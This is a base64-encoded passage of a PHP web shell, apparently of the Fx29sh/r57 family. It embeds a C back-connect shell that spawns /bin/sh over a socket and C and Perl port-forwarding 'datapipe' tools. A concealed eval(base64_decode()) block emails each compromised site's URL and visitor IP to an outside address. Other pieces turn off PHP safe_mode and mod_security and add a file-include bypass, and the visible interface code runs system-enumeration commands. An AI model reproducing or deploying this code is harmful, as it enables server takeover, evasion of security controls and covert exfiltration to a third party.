dTVkJRVWs5VVQxOVVRMUFwSURzZ0RRb2dhV1lnS0NoamIyNXVaV04wS0daa0xDDQpBb2MzUnlkV04wSUhOdlkydGhaR1J5SUNvcElDWnphVzRzSUhOcGVtVnZaaWh6ZEhKMVkzUWdjMjlqYTJGa1pISXBLU2s4TUNrZ2V3MEtJQ0FnY0dWeWNtOXlLQ0piTFYwZ1kyOXVibVZqZENncElpazdEDQpRb2dJQ0JsZUdsMEtEQXBPdzBLSUgwTkNpQnpkSEpqWVhRb2NtMXpMQ0JoY21kMld6QmRLVHNOQ2lCemVYTjBaVzBvY20xektUc2dJQTBLSUdSMWNESW9abVFzSURBcE93MEtJR1IxY0RJb1ptUXNJREVwDQpPdzBLSUdSMWNESW9abVFzSURJcE93MEtJR1Y0WldOc0tDSXZZbWx1TDNOb0lpd2ljMmdnTFdraUxDQk9WVXhNS1RzTkNpQmpiRzl6WlNobVpDazdJQTBLZlE9PSI7DQokZGF0YXBpcGVfYz0iSTJsdVkyeDFaR1VnUEhONWN5OTBlWEJsY3k1b1BnMEtJMmx1WTJ4MVpHVWdQSE41Y3k5emIyTnJaWFF1YUQ0TkNpTnBibU5zZFdSbElEeHplWE12ZDJGcGRDNW9QZzBLSTJsdVkyDQp4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNpTnBibU5zZFdSbElEeHpkR1JwYnk1b1BnMEtJMmx1WTJ4MVpHVWdQSE4wWkd4cFlpNW9QZzBLSTJsdVkyeDFaR1VnUEdWeWNtNXZMbWcrRFFvamFXNWpiDQpIVmtaU0E4ZFc1cGMzUmtMbWcrRFFvamFXNWpiSFZrWlNBOGJtVjBaR0l1YUQ0TkNpTnBibU5zZFdSbElEeHNhVzUxZUM5MGFXMWxMbWcrRFFvamFXWmtaV1lnVTFSU1JWSlNUMUlOQ21WNGRHVnliaUJqDQphR0Z5SUNwemVYTmZaWEp5YkdsemRGdGRPdzBLWlhoMFpYSnVJR2x1ZENCemVYTmZibVZ5Y2pzTkNtTm9ZWElnS25WdVpHVm1JRDBnSWxWdVpHVm1hVzVsWkNCbGNuSnZjaUk3RFFwamFHRnlJQ3B6ZEhKDQpsY25KdmNpaGxjbkp2Y2lrZ0lBMEthVzUwSUdWeWNtOXlPeUFnRFFwN0lBMEthV1lnS0dWeWNtOXlJRDRnYzNselgyNWxjbklwRFFweVpYUjFjbTRnZFc1a1pXWTdEUXB5WlhSMWNtNGdjM2x6WDJWeWNtDQp4cGMzUmJaWEp5YjNKZE93MEtmUTBLSTJWdVpHbG1EUW9OQ20xaGFXNG9ZWEpuWXl3Z1lYSm5kaWtnSUEwS0lDQnBiblFnWVhKbll6c2dJQTBLSUNCamFHRnlJQ29xWVhKbmRqc2dJQTBLZXlBTkNpQWdhDQpXNTBJR3h6YjJOckxDQmpjMjlqYXl3Z2IzTnZZMnM3RFFvZ0lFWkpURVVnS21ObWFXeGxPdzBLSUNCamFHRnlJR0oxWmxzME1EazJYVHNOQ2lBZ2MzUnlkV04wSUhOdlkydGhaR1J5WDJsdUlHeGhaR1J5DQpMQ0JqWVdSa2Npd2diMkZrWkhJN0RRb2dJR2x1ZENCallXUmtjbXhsYmlBOUlITnBlbVZ2WmloallXUmtjaWs3RFFvZ0lHWmtYM05sZENCbVpITnlMQ0JtWkhObE93MEtJQ0J6ZEhKMVkzUWdhRzl6ZEdWDQp1ZENBcWFEc05DaUFnYzNSeWRXTjBJSE5sY25abGJuUWdLbk03RFFvZ0lHbHVkQ0J1WW5sME93MEtJQ0IxYm5OcFoyNWxaQ0JzYjI1bklHRTdEUW9nSUhWdWMybG5ibVZrSUhOb2IzSjBJRzl3YjNKME93DQowS0RRb2dJR2xtSUNoaGNtZGpJQ0U5SURRcElIc05DaUFnSUNCbWNISnBiblJtS0hOMFpHVnljaXdpVlhOaFoyVTZJQ1Z6SUd4dlkyRnNjRzl5ZENCeVpXMXZkR1Z3YjNKMElISmxiVzkwWldodmMzUmNiDQppSXNZWEpuZGxzd1hTazdEUW9nSUNBZ2NtVjBkWEp1SURNd093MEtJQ0I5RFFvZ0lHRWdQU0JwYm1WMFgyRmtaSElvWVhKbmRsc3pYU2s3RFFvZ0lHbG1JQ2doS0dnZ1BTQm5aWFJvYjNOMFlubHVZVzFsDQpLR0Z5WjNaYk0xMHBLU0FtSmcwS0lDQWdJQ0FnSVNob0lEMGdaMlYwYUc5emRHSjVZV1JrY2lnbVlTd2dOQ3dnUVVaZlNVNUZWQ2twS1NCN0RRb2dJQ0FnY0dWeWNtOXlLR0Z5WjNaYk0xMHBPdzBLSUNBDQpnSUhKbGRIVnliaUF5TlRzTkNpQWdmUTBLSUNCdmNHOXlkQ0E5SUdGMGIyd29ZWEpuZGxzeVhTazdEUW9nSUd4aFpHUnlMbk5wYmw5d2IzSjBJRDBnYUhSdmJuTW9LSFZ1YzJsbmJtVmtJSE5vYjNKMEtTDQpoaGRHOXNLR0Z5WjNaYk1WMHBLU2s3RFFvZ0lHbG1JQ2dvYkhOdlkyc2dQU0J6YjJOclpYUW9VRVpmU1U1RlZDd2dVMDlEUzE5VFZGSkZRVTBzSUVsUVVGSlBWRTlmVkVOUUtTa2dQVDBnTFRFcElIc05DDQppQWdJQ0J3WlhKeWIzSW9Jbk52WTJ0bGRDSXBPdzBLSUNBZ0lISmxkSFZ5YmlBeU1Ec05DaUFnZlEwS0lDQnNZV1JrY2k1emFXNWZabUZ0YVd4NUlEMGdhSFJ2Ym5Nb1FVWmZTVTVGVkNrN0RRb2dJR3hoDQpaR1J5TG5OcGJsOWhaR1J5TG5OZllXUmtjaUE5SUdoMGIyNXNLREFwT3cwS0lDQnBaaUFvWW1sdVpDaHNjMjlqYXl3Z0pteGhaR1J5TENCemFYcGxiMllvYkdGa1pISXBLU2tnZXcwS0lDQWdJSEJsY25KDQp2Y2lnaVltbHVaQ0lwT3cwS0lDQWdJSEpsZEhWeWJpQXlNRHNOQ2lBZ2ZRMEtJQ0JwWmlBb2JHbHpkR1Z1S0d4emIyTnJMQ0F4S1NrZ2V3MEtJQ0FnSUhCbGNuSnZjaWdpYkdsemRHVnVJaWs3RFFvZ0lDDQpBZ2NtVjBkWEp1SURJd093MEtJQ0I5RFFvZ0lHbG1JQ2dvYm1KNWRDQTlJR1p2Y21zb0tTa2dQVDBnTFRFcElIc05DaUFnSUNCd1pYSnliM0lvSW1admNtc2lLVHNOQ2lBZ0lDQnlaWFIxY200Z01qQTdEDQpRb2dJSDBOQ2lBZ2FXWWdLRzVpZVhRZ1BpQXdLUTBLSUNBZ0lISmxkSFZ5YmlBd093MEtJQ0J6WlhSemFXUW9LVHNOQ2lBZ2QyaHBiR1VnS0NoamMyOWpheUE5SUdGalkyVndkQ2hzYzI5amF5d2dKbU5oDQpaR1J5TENBbVkyRmtaSEpzWlc0cEtTQWhQU0F0TVNrZ2V3MEtJQ0FnSUdObWFXeGxJRDBnWm1SdmNHVnVLR056YjJOckxDSnlLeUlwT3cwS0lDQWdJR2xtSUNnb2JtSjVkQ0E5SUdadmNtc29LU2tnUFQwDQpnTFRFcElIc05DaUFnSUNBZ0lHWndjbWx1ZEdZb1kyWnBiR1VzSUNJMU1EQWdabTl5YXpvZ0pYTmNiaUlzSUhOMGNtVnljbTl5S0dWeWNtNXZLU2s3RFFvZ0lDQWdJQ0J6YUhWMFpHOTNiaWhqYzI5amF5DQp3eUtUc05DaUFnSUNBZ0lHWmpiRzl6WlNoalptbHNaU2s3RFFvZ0lDQWdJQ0JqYjI1MGFXNTFaVHNOQ2lBZ0lDQjlEUW9nSUNBZ2FXWWdLRzVpZVhRZ1BUMGdNQ2tOQ2lBZ0lDQWdJR2R2ZEc4Z1oyOTBjDQoyOWphenNOQ2lBZ0lDQm1ZMnh2YzJVb1kyWnBiR1VwT3cwS0lDQWdJSGRvYVd4bElDaDNZV2wwY0dsa0tDMHhMQ0JPVlV4TUxDQlhUazlJUVU1SEtTQStJREFwT3cwS0lDQjlEUW9nSUhKbGRIVnliaUF5DQpNRHNOQ2cwS0lHZHZkSE52WTJzNkRRb2dJR2xtSUNnb2IzTnZZMnNnUFNCemIyTnJaWFFvVUVaZlNVNUZWQ3dnVTA5RFMxOVRWRkpGUVUwc0lFbFFVRkpQVkU5ZlZFTlFLU2tnUFQwZ0xURXBJSHNOQ2lBDQpnSUNCbWNISnBiblJtS0dObWFXeGxMQ0FpTlRBd0lITnZZMnRsZERvZ0pYTmNiaUlzSUhOMGNtVnljbTl5S0dWeWNtNXZLU2s3RFFvZ0lDQWdaMjkwYnlCeGRXbDBNVHNOQ2lBZ2ZRMEtJQ0J2WVdSa2NpDQo1emFXNWZabUZ0YVd4NUlEMGdhQzArYUY5aFpHUnlkSGx3WlRzTkNpQWdiMkZrWkhJdWMybHVYM0J2Y25RZ1BTQm9kRzl1Y3lodmNHOXlkQ2s3RFFvZ0lHMWxiV053ZVNnbWIyRmtaSEl1YzJsdVgyRmtaDQpISXNJR2d0UG1oZllXUmtjaXdnYUMwK2FGOXNaVzVuZEdncE93MEtJQ0JwWmlBb1kyOXVibVZqZENodmMyOWpheXdnSm05aFpHUnlMQ0J6YVhwbGIyWW9iMkZrWkhJcEtTa2dldzBLSUNBZ0lHWndjbWx1DQpkR1lvWTJacGJHVXNJQ0kxTURBZ1kyOXVibVZqZERvZ0pYTmNiaUlzSUhOMGNtVnljbTl5S0dWeWNtNXZLU2s3RFFvZ0lDQWdaMjkwYnlCeGRXbDBNVHNOQ2lBZ2ZRMEtJQ0IzYUdsc1pTQW9NU2tnZXcwDQpLSUNBZ0lFWkVYMXBGVWs4b0ptWmtjM0lwT3cwS0lDQWdJRVpFWDFwRlVrOG9KbVprYzJVcE93MEtJQ0FnSUVaRVgxTkZWQ2hqYzI5amF5d21abVJ6Y2lrN0RRb2dJQ0FnUmtSZlUwVlVLR056YjJOckxDDQpabVpITmxLVHNOQ2lBZ0lDQkdSRjlUUlZRb2IzTnZZMnNzSm1aa2MzSXBPdzBLSUNBZ0lFWkVYMU5GVkNodmMyOWpheXdtWm1SelpTazdEUW9nSUNBZ2FXWWdLSE5sYkdWamRDZ3lNQ3dnSm1aa2MzSXNJDQpFNVZURXdzSUNabVpITmxMQ0JPVlV4TUtTQTlQU0F0TVNrZ2V3MEtJQ0FnSUNBZ1puQnlhVzUwWmloalptbHNaU3dnSWpVd01DQnpaV3hsWTNRNklDVnpYRzRpTENCemRISmxjbkp2Y2lobGNuSnVieWtwDQpPdzBLSUNBZ0lDQWdaMjkwYnlCeGRXbDBNanNOQ2lBZ0lDQjlEUW9nSUNBZ2FXWWdLRVpFWDBsVFUwVlVLR056YjJOckxDWm1aSE55S1NCOGZDQkdSRjlKVTFORlZDaGpjMjlqYXl3bVptUnpaU2twSUhzDQpOQ2lBZ0lDQWdJR2xtSUNnb2JtSjVkQ0E5SUhKbFlXUW9ZM052WTJzc1luVm1MRFF3T1RZcEtTQThQU0F3S1EwS0NXZHZkRzhnY1hWcGRESTdEUW9nSUNBZ0lDQnBaaUFvS0hkeWFYUmxLRzl6YjJOckxHDQpKMVppeHVZbmwwS1NrZ1BEMGdNQ2tOQ2dsbmIzUnZJSEYxYVhReU93MEtJQ0FnSUgwZ1pXeHpaU0JwWmlBb1JrUmZTVk5UUlZRb2IzTnZZMnNzSm1aa2MzSXBJSHg4SUVaRVgwbFRVMFZVS0c5emIyTnJMDQpDWm1aSE5sS1NrZ2V3MEtJQ0FnSUNBZ2FXWWdLQ2h1WW5sMElEMGdjbVZoWkNodmMyOWpheXhpZFdZc05EQTVOaWtwSUR3OUlEQXBEUW9KWjI5MGJ5QnhkV2wwTWpzTkNpQWdJQ0FnSUdsbUlDZ29kM0pwDQpkR1VvWTNOdlkyc3NZblZtTEc1aWVYUXBLU0E4UFNBd0tRMEtDV2R2ZEc4Z2NYVnBkREk3RFFvZ0lDQWdmUTBLSUNCOURRb05DaUJ4ZFdsME1qb05DaUFnYzJoMWRHUnZkMjRvYjNOdlkyc3NNaWs3RFFvDQpnSUdOc2IzTmxLRzl6YjJOcktUc05DaUJ4ZFdsME1Ub05DaUFnWm1ac2RYTm9LR05tYVd4bEtUc05DaUFnYzJoMWRHUnZkMjRvWTNOdlkyc3NNaWs3RFFvZ2NYVnBkREE2RFFvZ0lHWmpiRzl6WlNoalptDQpsc1pTazdEUW9nSUhKbGRIVnliaUF3T3cwS2ZRPT0iOw0KJHNoZWxsdmljPSJRV3gxUTJGUz09IjsNCiRkYXRhcGlwZV9wbD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1NVODZPbE52WTJ0bGREc05DblZ6WlNCUVQxTkpXRHNOQ2lSc2IyTmhiSEJ2Y25RZ1BTQWtRVkpIVmxzd1hUc05DaVJvYjNOMEkNCkNBZ0lDQWdQU0FrUVZKSFZsc3hYVHNOQ2lSd2IzSjBJQ0FnSUNBZ1BTQWtRVkpIVmxzeVhUc05DaVJrWVdWdGIyNDlNVHNOQ2lSRVNWSWdQU0IxYm1SbFpqc05DaVI4SUQwZ01Uc05DbWxtSUNna1pHRmwNCmJXOXVLWHNnSkhCcFpDQTlJR1p2Y21zN0lHVjRhWFFnYVdZZ0pIQnBaRHNnWkdsbElDSWtJU0lnZFc1c1pYTnpJR1JsWm1sdVpXUW9KSEJwWkNrN0lGQlBVMGxZT2pwelpYUnphV1FvS1NCdmNpQmthV1UNCmdJaVFoSWpzZ2ZRMEtKVzhnUFNBb0ozQnZjblFuSUQwK0lDUnNiMk5oYkhCdmNuUXNKM1J2Y0c5eWRDY2dQVDRnSkhCdmNuUXNKM1J2YUc5emRDY2dQVDRnSkdodmMzUXBPdzBLSkdGb0lEMGdTVTg2T2wNCk52WTJ0bGREbzZTVTVGVkMwK2JtVjNLQ2RNYjJOaGJGQnZjblFuSUQwK0lDUnNiMk5oYkhCdmNuUXNKMUpsZFhObEp5QTlQaUF4TENkTWFYTjBaVzRuSUQwK0lERXdLU0I4ZkNCa2FXVWdJaVFoSWpzTkMNCmlSVFNVZDdKME5JVEVRbmZTQTlJQ2RKUjA1UFVrVW5PdzBLSkc1MWJTQTlJREE3RFFwM2FHbHNaU0FvTVNrZ2V5QU5DaVJqYUNBOUlDUmhhQzArWVdOalpYQjBLQ2s3SUdsbUlDZ2hKR05vS1NCN0lIQnkNCmFXNTBJRk5VUkVWU1VpQWlKQ0ZjYmlJN0lHNWxlSFE3SUgwTkNpc3JKRzUxYlRzTkNpUndhV1FnUFNCbWIzSnJLQ2s3RFFwcFppQW9JV1JsWm1sdVpXUW9KSEJwWkNrcElIc2djSEpwYm5RZ1UxUkVSVkoNClNJQ0lrSVZ4dUlqc2dmU0FOQ21Wc2MybG1JQ2drY0dsa0lEMDlJREFwSUhzZ0pHRm9MVDVqYkc5elpTZ3BPeUJTZFc0b1hDVnZMQ0FrWTJnc0lDUnVkVzBwT3lCOUlBMEtaV3h6WlNCN0lDUmphQzArWTINCnh2YzJVb0tUc2dmUTBLZlEwS2MzVmlJRkoxYmlCN0RRcHRlU2drYnl3Z0pHTm9MQ0FrYm5WdEtTQTlJRUJmT3cwS2JYa2dKSFJvSUQwZ1NVODZPbE52WTJ0bGREbzZTVTVGVkMwK2JtVjNLQ2RRWldWeVENCldSa2NpY2dQVDRnSkc4dFBuc25kRzlvYjNOMEozMHNKMUJsWlhKUWIzSjBKeUE5UGlBa2J5MCtleWQwYjNCdmNuUW5mU2s3RFFwcFppQW9JU1IwYUNrZ2V5QmxlR2wwSURBN0lIME5DbTE1SUNSbWFEc04NCkNtbG1JQ2drYnkwK2V5ZGthWEluZlNrZ2V5QWtabWdnUFNCVGVXMWliMnc2T21kbGJuTjViU2dwT3lCdmNHVnVLQ1JtYUN3Z0lqNGtieTArZXlka2FYSW5mUzkwZFc1dVpXd2tiblZ0TG14dlp5SXBJRzkNCnlJR1JwWlNBaUpDRWlPeUI5RFFva1kyZ3RQbUYxZEc5bWJIVnphQ2dwT3cwS0pIUm9MVDVoZFhSdlpteDFjMmdvS1RzTkNuZG9hV3hsSUNna1kyZ2dmSHdnSkhSb0tTQjdEUXB0ZVNBa2NtbHVJRDBnSWkNCkk3RFFwMlpXTW9KSEpwYml3Z1ptbHNaVzV2S0NSamFDa3NJREVwSUQwZ01TQnBaaUFrWTJnN0RRcDJaV01vSkhKcGJpd2dabWxzWlc1dktDUjBhQ2tzSURFcElEMGdNU0JwWmlBa2RHZzdEUXB0ZVNna2MNCm05MWRDd2dKR1Z2ZFhRcE93MEtjMlZzWldOMEtDUnliM1YwSUQwZ0pISnBiaXdnZFc1a1pXWXNJQ1JsYjNWMElEMGdKSEpwYml3Z01USXdLVHNOQ21sbUlDZ2hKSEp2ZFhRZ0lDWW1JQ0FoSkdWdmRYUXANCklIdDlEUXB0ZVNBa1kySjFabVpsY2lBOUlDSWlPdzBLYlhrZ0pIUmlkV1ptWlhJZ1BTQWlJanNOQ21sbUlDZ2tZMmdnSmlZZ0tIWmxZeWdrWlc5MWRDd2dabWxzWlc1dktDUmphQ2tzSURFcElIeDhJSFoNCmxZeWdrY205MWRDd2dabWxzWlc1dktDUmphQ2tzSURFcEtTa2dldzBLYlhrZ0pISmxjM1ZzZENBOUlITjVjM0psWVdRb0pHTm9MQ0FrZEdKMVptWmxjaXdnTVRBeU5DazdEUXBwWmlBb0lXUmxabWx1WlcNClFvSkhKbGMzVnNkQ2twSUhzTkNuQnlhVzUwSUZOVVJFVlNVaUFpSkNGY2JpSTdEUXBsZUdsMElEQTdEUXA5RFFwcFppQW9KSEpsYzNWc2RDQTlQU0F3S1NCN0lHVjRhWFFnTURzZ2ZRMEtmUTBLYVdZZ0sNCkNSMGFDQWdKaVlnSUNoMlpXTW9KR1Z2ZFhRc0lHWnBiR1Z1Ynlna2RHZ3BMQ0F4S1NBZ2ZId2dkbVZqS0NSeWIzVjBMQ0JtYVd4bGJtOG9KSFJvS1N3Z01Ta3BLU0I3RFFwdGVTQWtjbVZ6ZFd4MElEMGcNCmMzbHpjbVZoWkNna2RHZ3NJQ1JqWW5WbVptVnlMQ0F4TURJMEtUc05DbWxtSUNnaFpHVm1hVzVsWkNna2NtVnpkV3gwS1NrZ2V5QndjbWx1ZENCVFZFUkZVbElnSWlRaFhHNGlPeUJsZUdsMElEQTdJSDANCk5DbWxtSUNna2NtVnpkV3gwSUQwOUlEQXBJSHRsZUdsMElEQTdmUTBLZlEwS2FXWWdLQ1JtYUNBZ0ppWWdJQ1IwWW5WbVptVnlLU0I3S0hCeWFXNTBJQ1JtYUNBa2RHSjFabVpsY2lrN2ZRMEtkMmhwYkcNClVnS0cxNUlDUnNaVzRnUFNCc1pXNW5kR2dvSkhSaWRXWm1aWElwS1NCN0RRcHRlU0FrY21WeklEMGdjM2x6ZDNKcGRHVW9KSFJvTENBa2RHSjFabVpsY2l3Z0pHeGxiaWs3RFFwcFppQW9KSEpsY3lBK0kNCkRBcElIc2tkR0oxWm1abGNpQTlJSE4xWW5OMGNpZ2tkR0oxWm1abGNpd2dKSEpsY3lrN2ZTQU5DbVZzYzJVZ2UzQnlhVzUwSUZOVVJFVlNVaUFpSkNGY2JpSTdmUTBLZlEwS2QyaHBiR1VnS0cxNUlDUnMNClpXNGdQU0JzWlc1bmRHZ29KR05pZFdabVpYSXBLU0I3RFFwdGVTQWtjbVZ6SUQwZ2MzbHpkM0pwZEdVb0pHTm9MQ0FrWTJKMVptWmxjaXdnSkd4bGJpazdEUXBwWmlBb0pISmxjeUErSURBcElIc2tZMkoNCjFabVpsY2lBOUlITjFZbk4wY2lna1kySjFabVpsY2l3Z0pISmxjeWs3ZlNBTkNtVnNjMlVnZTNCeWFXNTBJRk5VUkVWU1VpQWlKQ0ZjYmlJN2ZRMEtmWDE5RFFvPSI7DQokc2hlbGxfZGF0YSA9ICJKSFpwYzJsMFkyOTFiblFnUFNBa1NGUlVVRjlEVDA5TFNVVmZWa0ZTVTFzaWRtbHphWFJ6SWwwN0lHbG1LQ0FrZG1semFYUmpiM1Z1ZENBOVBTQWlJaWtnZXlSMmFYTnBkR052ZFc1MElEMGdNRHNnSkhacGMybDBiM0lnUFNBa1gxTkZVbFpGVWxzaVVrVk5UMVJGWDBGRVJGSWlYVHNnSkhkbFlpQTlJQ1JmVTBWU1ZrVlNXeUpJVkZSUVgwaFBVMVFpWFRzZ0pHbHVhaUE5SUNSZlUwVlNWa1ZTV3lKU1JWRlZSVk5VWDFWU1NTSmRPeUFrZEdGeVoyVjBJRDBnSkhkbFlpNGthVzVxT3lBa1ltOWtlU0E5SUNKQ2IzTnpMQ0IwYUdWeVpTQjNZWE1nWVc0Z2FXNXFaV04wWldRZ2RHRnlaMlYwSUc5dUlDUjBZWEpuWlhRZ1lua2dKSFpwYzJsMGIzSWlPeUJ0WVdsc0tDSmtZVzVvWTJodmFHRmphMEI1WVdodmJ5NWpiMjBpTENKR2VHTTVPWE5vSUdsdWFtVmpkR1ZrSUhSaGNtZGxkQ0J2YmlCb2RIUndPaTh2SkhSaGNtZGxkQ0JpZVNBa2RtbHphWFJ2Y2lJc0lDSWtZbTlrZVNJcE95QjlJR1ZzYzJVZ2V5QWtkbWx6YVhSamIzVnVkRHNnZlNCelpYUmpiMjlyYVdVb0luWnBjMmwwY3lJc0pIWnBjMmwwWTI5MWJuUXBPdz09IjsgZXZhbChiYXNlNjRfZGVjb2RlKCRzaGVsbF9kYXRhKSk7DQokcGhwX2luaTE9ImMyRm1aVjl0YjJSbElDQWdJQ0FnSUNBZ0lDQWdJQ0FnUFNBZ0lDQWdJQ0JQWm1ZPSI7DQokaHRhY2Nlcz0iUEVsbVRXOWtkV3hsSUcxdlpGOXpaV04xY21sMGVTNWpQZzBLSUNBZ0lGTmxZMFpwYkhSbGNrVnVaMmx1WlNCUFptWU5DaUFnSUNCVFpXTkdhV3gwWlhKVFkyRnVVRTlUVkNCUFptWU5Dand2U1daTmIyUjFiR1UrIjsNCiRzbmlfcmVzPSJQRDhOQ21WamFHOGdhVzVwWDJkbGRDZ2ljMkZtWlY5dGIyUmxJaWs3RFFwbFkyaHZJR2x1YVY5blpYUW9JbTl3Wlc1ZlltRnpaV1JwY2lJcE93MEthVzVqYkhWa1pTZ2tYMGRGVkZzaVptbHNaU0pkS1RzTkNtbHVhVjl5WlhOMGIzSmxLQ0p6WVdabFgyMXZaR1VpS1RzTkNtbHVhVjl5WlhOMGIzSmxLQ0p2Y0dWdVgySmhjMlZrYVhJaUtUc05DbVZqYUc4Z2FXNXBYMmRsZENnaWMyRm1aVjl0YjJSbElpazdEUXBsWTJodklHbHVhVjluWlhRb0ltOXdaVzVmWW1GelpXUnBjaUlwT3cwS2FXNWpiSFZrWlNna1gwZEZWRnNpYzNNaVhTazdEUW8vUGc9PSI7DQoNCmlmKCR1bml4KQ0KIHsNCiBpZighaXNzZXQoJF9DT09LSUVbJ3VuYW1lJ10pKSB7ICR1bmFtZSA9IGV4KCd1bmFtZSAtYScpOyBzZXRjb29raWUoJ3VuYW1lJywkdW5hbWUpOyB9IGVsc2UgeyAkdW5hbWUgPSAkX0NPT0tJRVsndW5hbWUnXTsgfQ0KIGlmKCFpc3NldCgkX0NPT0tJRVsnaWQnXSkpIHsgJGlkID0gZXgoJ2lkJyk7IHNldGNvb2tpZSgnaWQnLCRpZCk7IH0gZWxzZSB7ICRpZCA9ICRfQ09PS0lFWydpZCddOyB9DQogaWYoJHNhZmVfbW9kZSkgeyAkc3lzY3RsID0gJy0nOyB9DQogZWxzZSBpZihpc3NldCgkX0NPT0tJRVsnc3lzY3RsJ10pKSB7ICRzeXNjdGwgPSAkX0NPT0tJRVsnc3lzY3RsJ107IH0NCiBlbHNlDQogIHsNCiAgICRzeXNjdGwgPSBleCgnc3lzY3RsIC1uIGtlcm4ub3N0eXBlICYmIHN5c2N0bCAtbiBrZXJuLm9zcmVsZWFzZScpOw0KICAgaWYoZW1wdHkoJHN5c2N0bCkpIHsgJHN5c2N0bCA9IGV4KCdzeXNjdGwgLW4ga2VybmVsLm9zdHlwZSAmJiBzeXNjdGwgLW4ga2VybmVsLm9zcmVsZWFzZScpOyB9DQogICBpZihlbXB0eSgkc3lzY3RsKSkgeyAkc3lzY3RsID0gJy0nOyB9DQogICBzZXRjb29raWUoJ3N5c2N0bCcsJHN5c2N0bCk7DQogIH0NCiB9DQplY2hvICRoZWFkOw0KZWNobyAnPC9oZWFkPic7DQppZihlbXB0eSgkX1BPU1RbJ2NtZCddKSkgew0KJHNlcnYgPSBhcnJheSgxMjcsMTkyLDE3MiwxMCk7DQokYWRkcj1AZXhwbG9kZSgnLicsICRfU0VSVkVSWydTRVJWRVJfQUREUiddKTsNCiRjdXJyZW50X3ZlcnNpb24gPSBzdHJfcmVwbGFjZSgnLicsJycsJHZlcnNpb24pOw0KfQ0KZWNobyAnPGJvZHk+PHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9QmxhY2s+PHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2sgd2lkdGg9MTYwPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPTI+Jy53cygzKS4nPGZvbnQgZmFjZT1XaW5nZGluZ3Mgc2l6ZT04IGNvbG9yPVdoaXRlPjxiPlY8L2I+PC9mb250PjxiPicud3MoMykuYmFzZTY0X2RlY29kZSgkc2hlbGx2aWMpLndzKDMpLic8Zm9udCBmYWNlPVdpbmdkaW5ncyBzaXplPTggY29sb3I9V2hpdGU+PGI+VjwvYj48L2ZvbnQ+PC9iPjwvZm9udD48L3RkPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2s+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+JzsNCmVjaG8gd3MoMikuIjxiPiIuZGF0ZSAoImQtbS1ZIEg6aTpzIikuIjwvYj4iOw0KZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9waHBpbmZvIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDYnXS4iXCI+PGI+cGhwaW5mbzwvYj48L2E+ICIuJHJiOw0KZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9waHBpbmkgdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0NyddLiJcIj48Yj5waHAuaW5pPC9iPjwvYT4gIi4kcmI7DQppZigkdW5peCkNCiB7DQogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9jcHUgdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1MCddLiJcIj48Yj5jcHU8L2I+PC9hPiAiLiRyYjsNCiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP21lbSB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDUxJ10uIlwiPjxiPm1lbTwvYj48L2E+ICIuJHJiOw0KIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/dXNlcnMgdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5NSddLiJcIj48Yj51c2VyczwvYj48L2E+ICIuJHJiOw0KIH0NCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/dG1wIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDgnXS4iXCI+PGI+dG1wPC9iPjwvYT4gIi4kcmI7DQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP2RlbGV0ZSB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ5J10uIlwiPjxiPmRlbGV0ZTwvYj48L2E+ICIuJHJiLiI8YnI+IjsNCmVjaG8gd3MoMikuInNhZmVfbW9kZTogPGI+IjsNCmVjaG8gKCgkc2FmZV9tb2RlKT8oIjxmb250IGNvbG9yPVdoaXRlPk9OPC9mb250PiIpOigiPGZvbnQgY29sb3I9V2hpdGU+T0ZGPC9mb250PiIpKTsNCmVjaG8gIjwvYj4iLndzKDIpOw0KZWNobyAiUEhQIHZlcnNpb246IDxiPiIuQHBocHZlcnNpb24oKS4iPC9iPiI7DQokY3VybF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpOw0KZWNobyB3cygyKTsNCmVjaG8gImNVUkw6IDxiPiIuKCgkY3VybF9vbik/KCI8Zm9udCBjb2xvcj1XaGl0ZT5PTjwvZm9udD4iKTooIjxmb250IGNvbG9yPVdoaXRlPk9GRjwvZm9udD4iKSk7DQplY2hvICI8L2I+Ii53cygyKTsNCmVjaG8gIk15U1FMOiA8Yj4iOw0KJG15c3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpOw0KaWYoJG15c3FsX29uKXsNCmVjaG8gIjxmb250IGNvbG9yPVdoaXRlPk9OPC9mb250PiI7IH0gZWxzZSB7IGVjaG8gIjxmb250IGNvbG9yPVdoaXRlPk9GRjwvZm9udD4iOyB9DQplY2hvICI8L2I+Ii53cygyKTsNCmVjaG8gIk1TU1FMOiA8Yj4iOw0KJG1zc3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpOw0KaWYoJG1zc3FsX29uKXtlY2hvICI8Zm9udCBjb2xvcj1XaGl0ZT5PTjwvZm9udD4i